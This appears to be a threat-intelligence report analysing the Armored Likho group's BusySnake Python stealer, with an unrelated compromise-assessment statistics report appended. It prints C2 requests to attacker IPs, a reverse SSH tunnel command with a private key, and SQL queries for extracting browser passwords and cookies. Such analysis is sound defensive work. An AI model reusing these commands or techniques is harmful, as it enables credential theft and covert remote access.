ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205
During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.
Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.
Key campaign highlights:
This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.
Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.
In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.
Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.
Payload repository example
The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.
The fetched package contains the following components:
module.pywget-pip.py script: used to install the pip package manager and fetch required dependenciesOnce executed, the script installs pip and pulls down the core dependencies required for the payload to run.
With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:
Loader removal script
The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:
Persistence script
This task ensures that the payload, BusySnake Stealer, is executed every five minutes.
In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.
Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:
Obfuscated PowerShell command
This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:
Downloading and executing the loader
Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.
Decoy documents
Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.
Variable initialization example in loader code
Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.
Example of downloading and installing Python and the pip package manager
As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.
Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.
The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.
The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.
During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.
Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.
Stealer configuration example
The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.
| Handler Name | Description |
| single_instance_lock | Prevents multiple instances of the stealer from running concurrently on the compromised host. |
| start_key_clipboard_logger | Steals data from the system clipboard. |
| start_inventory_background | Enumerates files across the system and logs their metadata into a local database. |
| extract_hex64_from_file | Attempts to extract 64-character hexadecimal keys from the files. |
| start_send_documents_priority_background | Forwards user documents to the C2 server. |
| take_screenshot | Captures screenshots and saves them to the SCREEN_DIR directory. |
| archive_pngs | Archives captured screenshots and purges previously created archives from the disk. |
| poll_task | Waits for incoming C2 commands to execute. |
| ensure_schtask | Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task. |
Below, we break down the execution logic of the malware’s core functions.
Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.
Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:
[Clipboard] {timestamp} {escaped_clipboard_content}Additionally, the stealer maps out the local file system using the start_inventory_background function.
This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:
sqlite3.connect(STATE_DB_PATH) execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'
The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.
Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:
log(
f'Інвентаризація завершена за {elapsed:.1f}s. '
f'Нових: {counters["new"]}, '
f'Старих: {counters["skipped"]}, '
f'Знайдено: {counters["found"]}'
)Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.
The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:
GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n Host: 159.198.41.140 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
The C2 sign-in form interface is shown below:
C2 administration panel sign-in form
Commands are transmitted from the C2 server as function names, which are detailed in the table below:
| Function Name | Description |
| handle_send_screenshots_command | Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server. |
| send_and_clear_keystroke_log | Exfiltrates logged keystroke data to the C2 server and clears the log file afterward. |
| handle_extract_chromium_passwords | Decrypts stored passwords from Chromium-based browser databases using the DPAPI. |
| handle_extract_firefox_passwords | Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function. |
| handle_collect_and_send_cookies | Extracts cookies from browser databases and uploads them to the C2 server. |
| handle_extract_cookies_v7_command | Extracts cookies by installing an extension into the browser. |
| handle_search_2fa_secrets_command | Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt. |
| handle_search_wallet_jsons_command | Sweeps user directories to locate cryptocurrency wallet files with a JSON extension. |
| handle_split_and_send_tdata_command | Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server. |
| handle_start_proxy_command / handle_stop_proxy_command | Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host. |
| handle_remote_control_command | Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server. |
After executing each command, the stealer sends a report back to the C2 server containing the task completion status.
POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}
When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.
Locating the file containing the master key
The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.
Master key decryption
Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.
SELECT origin_url, username_value, password_value FROM logins
Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.
For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.
Credential extraction
The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.
Credential decryption
The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.
The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.
For Chromium-based browsers, the malware executes the following query:
SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies
For Firefox, it uses this query:
SELECT host, name, value, path, expiry FROM moz_cookies
All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.
In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.
The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:
manifest.json: details the extension structure and required permissionssw.js: contains the primary execution logic for the extensionOnce these components are staged, the extension is installed into the browser.
Extension configuration file (manifest.json)
Extension execution logic (sw.js)
To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.
Chrome execution parameters
Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:
http://127.0.0.1:8000/?data_type=c
The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.
The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.
The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:
https://grked[.]online/tunnel/create/?username=[redacted]
If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:
http://grked[.]online:8000/tunnel/create/?username=[redacted]
In response, the server returns data containing all the parameters required to establish the tunnel.
{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\ nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.
To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.
During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.
In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.
Creating a scheduled task via the COM object
This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.
We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.
The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:
| Handler Name | Endpoint | Request body | Description |
| poll_commands | {Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID} |
– | Awaits new commands for execution |
| poll_tasks | {Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID} |
– | Awaits Python scripts for execution |
| set_task_status | {Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/ |
{ ‘status’: status, ‘logs’: logs } |
Transmits task status updates |
| upload_file_once | {Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/ |
{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id } |
File exfiltration to the C2 |
One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.
We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.
-N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port} -R 0.0.0.0:{port} {name}@{IPaddress}
/backup/update-subtask-status
{
<..>
'clientId': clientId,
'subTasks': [
<..>
'taskItemId': taskItemId
]
}{Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/
We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.
An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.
In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.
At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.
Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.
Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:
Example of LNK downloader detection in KEDR
The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.
LNK downloader execution graph in Kaspersky Cloud Sandbox
Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.
File downloads by the LNK downloader in Kaspersky Cloud Sandbox
If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.
EXE dropper execution graph in Kaspersky Cloud Sandbox
File downloads by the EXE dropper in Kaspersky Cloud Sandbox
Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.
Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox
Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager
90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module
1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader
1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper
894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader
393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK
C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer
winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com
159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153
The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.
This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.
Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.
Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.
Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:
These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.
Distribution of detection logic families (download)
Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).
Statistics on the reasons behind CA project requests (download)
When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.
| Incident severity breakdown by service engagement reason | ||||
| Incident severity (%) | ||||
| High | Medium | Low | ||
| Reason for service | Acquiring new company | 28.6 | 42.8 | 28.6 |
| General audit | 27.7 | 36.7 | 35.6 | |
| Report to an authority | 30 | 46.7 | 23.3 | |
| Checkup after a cybersecurity incident | 40.7 | 25.9 | 33.4 | |
Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.
Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.
Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.
The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.
A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.
Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:
It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.
Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.
The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!
Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.
Severity distribution of incidents by MTTD (download)
The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:
Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.
The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.
In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.
Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.
Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:
Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.
An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.
Web shell incident distribution by severity (download)
One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.
Web shell location (download)
Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.
Asset inventory issues (download)
An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.
One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx
During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.
The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:
In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.
The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.
